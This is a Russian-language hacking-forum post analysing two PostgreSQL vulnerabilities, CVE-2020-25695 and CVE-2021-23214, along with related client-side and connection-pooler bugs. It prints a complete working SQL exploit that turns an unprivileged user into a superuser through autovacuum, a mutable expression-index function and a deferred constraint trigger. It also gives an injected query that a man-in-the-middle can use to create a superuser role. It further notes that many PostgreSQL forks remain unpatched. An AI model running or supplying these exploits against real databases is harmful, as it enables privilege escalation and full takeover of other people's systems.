• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Интересные уязвимости PostgreSQL

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Несколько раз в год у PostgreSQL выходит новый релиз с парой уязвимостей. Как правило уязвимости позволяют превратить непривилегированного пользователя в superuser. В Postgres все просто — устанавливаем патчи в момент выхода обновления и продолжаем спать спокойно. Но многие форки остаются уязвимыми. Я проанализировал пару интересных уязвимостей PostgreSQL в поисках интересных лазеек и нашел там очень много интересного.

Анализ интересных уязвимостей PostgreSQL​

Вообще, у Postgres есть куча форков. Потенциально все они уязвимы ко всему, что будет перечислено в этой статье. В результате на таких базах майнят или происходят истории как с фотографиями Scarlett.

Может показаться, что эпичные уязвимости — верный признак «решета», которым лучше не пользоваться. Это не так. Открытая публикация всех исторических уязвимостей — то, что не дает заметать под ковер zero day.

Что ж, давайте перейдем, к сути. Что можно сделать с недопатченным «Постгрес»?

Уязвимость PostgreSQL CVE-2020-25695​

Уязвимости CVE-2020-25695 подвержены 13.0, 12.4, 11.10, 10.15 и другие мажорные версии, нынче уже достигшие EOL. Overall score 8,8. В уязвимости также эксплуатируется комбинация из множества нетривиальных фич. Тем не менее эксплуатация подходит для script kiddies — просто зафигачить SQL-запрос, и готово, никакой возни с подставными репликами, написанием кода или чего‑то такого.

Ахиллесова пята PostgreSQL — процесс вакуумизации aka VACUUM. Он удаляет версии данных, которые нет необходимости видеть новым транзакциям. Иногда его запускает сисадмин или cron от имени сисадмина. Иногда он запускается сам — когда удалилось или обновилось достаточно много строк. В этом случае он называется autovacuum. И запускается он от имени суперпользователя.

Вот бы добавить какого‑нибудь кода к вакууму, чтобы он выполнился от имени суперпользователя, да? Об этом разработчики Postgres, конечно, подумали. На время вакуумизации конкретной таблицы контекст выполнения переключается на владельца таблицы. Если мы запилили свою таблицу — ну, наши функции при ее вакуумизации выполнятся с нашими правами. Работает это так.
Код:
/* Switch to the table owner's userid... */
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
// Вакуумизируем на все деньги
/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);
CommitTransactionCommand();
Получается, что нам нужно во время вакуумизации отложить взлом до момента окончания транзакции. Потому что до коммита мы выполняемся с недостаточно крутым контекстом. Решение этой задачи довольно простое: можно создать триггер DEFFERED, который выполнится при коммите. Вот кусочек кода из advisory отправленного при репорте бага.
Код:
/* create a CONSTRAINT TRIGGER, which is deferred
 deferred causes it to trigger on commit, by which time the user has been switched back to the
 invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED
    FOR EACH ROW
  EXECUTE PROCEDURE strig();
Как нам сделать, чтобы этот триггер вызвался во время вакуума? Для этого нужно, чтобы вакуум вставлял данные, а он их удаляет… Просто надо сделать так, чтобы вакуум одной таблицы вставлял данные в другую!

Какие функции вызываются при вакууме? Функции индексов по выражению. Рассмотрим код эксплоита полностью.
Код:
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql IMMUTABLE AS
'SELECT $1'; -- При создании индекса по выражению функция должна быть IMMUTABLE, то есть БЕСПОЛЕЗНА
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Заменим функцию мутабельной
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из DEFFERED триггера
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql; -- Функция триггера
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED FOR EACH ROW
    EXECUTE PROCEDURE strig();
ANALYZE exp;
INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);
DELETE FROM exp;
INSERT INTO exp VALUES (1,1);
ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);
Здесь вакуум exp вызывает sfunc(), которая вставляет данные в t0. Затем триггер на t0 вызывает string() в конце транзакции с контекстом суперпользователя, который, в свою очередь, вызывает snfunc(). А он грантит суперпользователя атакующему. Для эксплуатации этой уязвимости нужна возможность создавать таблицы и индексы.

CVE-2020-25695 найдена Этьеном Столмансом aka staaldraad и подробно описана в его блоге. Денис Смирнов также адаптировал эту уязвимость для GreenplumDB.

Уязвимость PostgreSQL CVE-2021-23214​

Уязвимости CVE-2021-23214 подвержены 14.0, 13.4, 12.8, 11.13, 10.18. Overall score 8,1. А еще уязвимы оказались все пулеры соединений — PgBouncer, PgPool II и Odyssey.

TLDR: если используется клиентская аутентификация по TLS-сертификату и есть MITM, можно в начало соединения добавить выполнение своего запроса.

Постгресный протокол обмена данными построен на сообщениях. Каждое сообщение начинается с 4 байт, содержащих информацию о размере сообщения. Потом идет один байт, определяющий тип пакета. Оставшееся место может быть занято пакетоспецифичными данными.

Нормальный сервер первым делом отправит клиенту startup-сообщение с предложением перейти на TLS-шифрование, получит согласие клиента, передаст сокет библиотеке OpenSSL, а от нее уже получит безопасный канал для общения, в котором проведет аутентификацию.

В PostgreSQL аутентифицироваться можно по‑разному. Например, по паролю открытым текстом. Но это стремно со всех сторон. Можно воспользоваться MD5-аутентификацией: сервер пришлет соль, клиент перехеширует пароль, себя и соль, а потом отправит серверу. Но при этом взломав базу и прочитав представление pg_authid, можно получить достаточно данных, чтобы зайти в базу любым другим пользователем с MD5-аутентификацией.

Можно воспользоваться схемой SCRAM-SHA-256, при этом взлом базы не позволит использовать полученные секреты. Даже зайти в ту же самую базу по стыренным данным не получится.

А можно вообще «делегировать ответственность Фунту» — использовать аутентификацию по TLS-сертификатам. При этом, когда установлено TLS-соединение, Common Name сертификата будет сравниваться с пользовательским. Если они совпали — значит, у клиента есть сертификат, выписанный доверенным центром. У такого подхода много плюсов: например, ротация секретов больше не проблема DBA. Пусть клиент сам разбирается, где добыть валидный серт, если старый протух.

Если вся база целиком украдена, в ней не добыть вообще никаких аутентификационных данных. Проверка сертификата написана настоящими сварщиками от криптографии, осталось только взять их код. Но есть нюанс.

У PostgreSQL довольно мелкие пакеты. Например, пакет ReadyForQuery — 6 байт. Для чтения из сокета необходим системный вызов — это долго. Поэтому Postgres и все пулеры читают данные про запас. Кто‑то называет это буферизацией, кто‑то — readahead. Из буфера readahead байты идут уже на парсинг пакетов. Буфер readahead наполняется напрямую из сетевого сокета либо из потока TLS в шифрованном соединении. А вот в момент смены нешифрованного соединения происходит… а ничего не происходит.

В OpenSSL передается не буфер readahead, а само сетевое соединение. Те байты, что пришли нешифрованными, остаются лежать как бы считанными. Как будто полученными из шифрованного соединения. Этим может воспользоваться man in the middle, добавив вслед за startup-сообщением сообщение SimpleQuery с простым запросом:
Код:
"CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';"

Когда аутентификация в OpenSSL будет успешно завершена, сервер продолжит считывать сообщения из буфера readahead и выполнит SimpleQuery, как если бы он пришел от пользователя.
postgresql-vulnerability-cve-2021-23214.png

Принцип работы уязвимости CVE-2021-23214

У этой уязвимости есть и симметричная клиентская CVE-2021-23222: MITM может подсунуть свой ответ на первые запросы клиента вместо того, что говорит сервер на самом деле. Но эксплуатация этой уязвимости требует нефигового знания кода клиентского приложения. Например, как‑то так.

postgresql-vulnerability-cve-2021-23222.png

Принцип работы уязвимости CVE-2021-23222

В Postgres фикс клиентской и серверной уязвимостей предполагает не только сброс буфера после startup-пакета, но и запись в лог о попытке нахимичить с TLS. В актуальных версиях попытка эксплуатации не пройдет незамеченной и, вероятно, разбудит мониторинги безопасности. Мой фикс для этих уязвимостей в «Одиссее» выглядит так. В «Одиссее» они, кстати, известны под другими номерами: CVE-2021-43766 и CVE-2021-43767.

CVE-2021-23214 и подобные уязвимости в PG найдены Джейкобом Чемпионом, после выхода фиксов он написал довольно интересный список пожеланий к проекту для повышения безопасности в будущем.

Автор Kozhuh
spy-soft.net
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх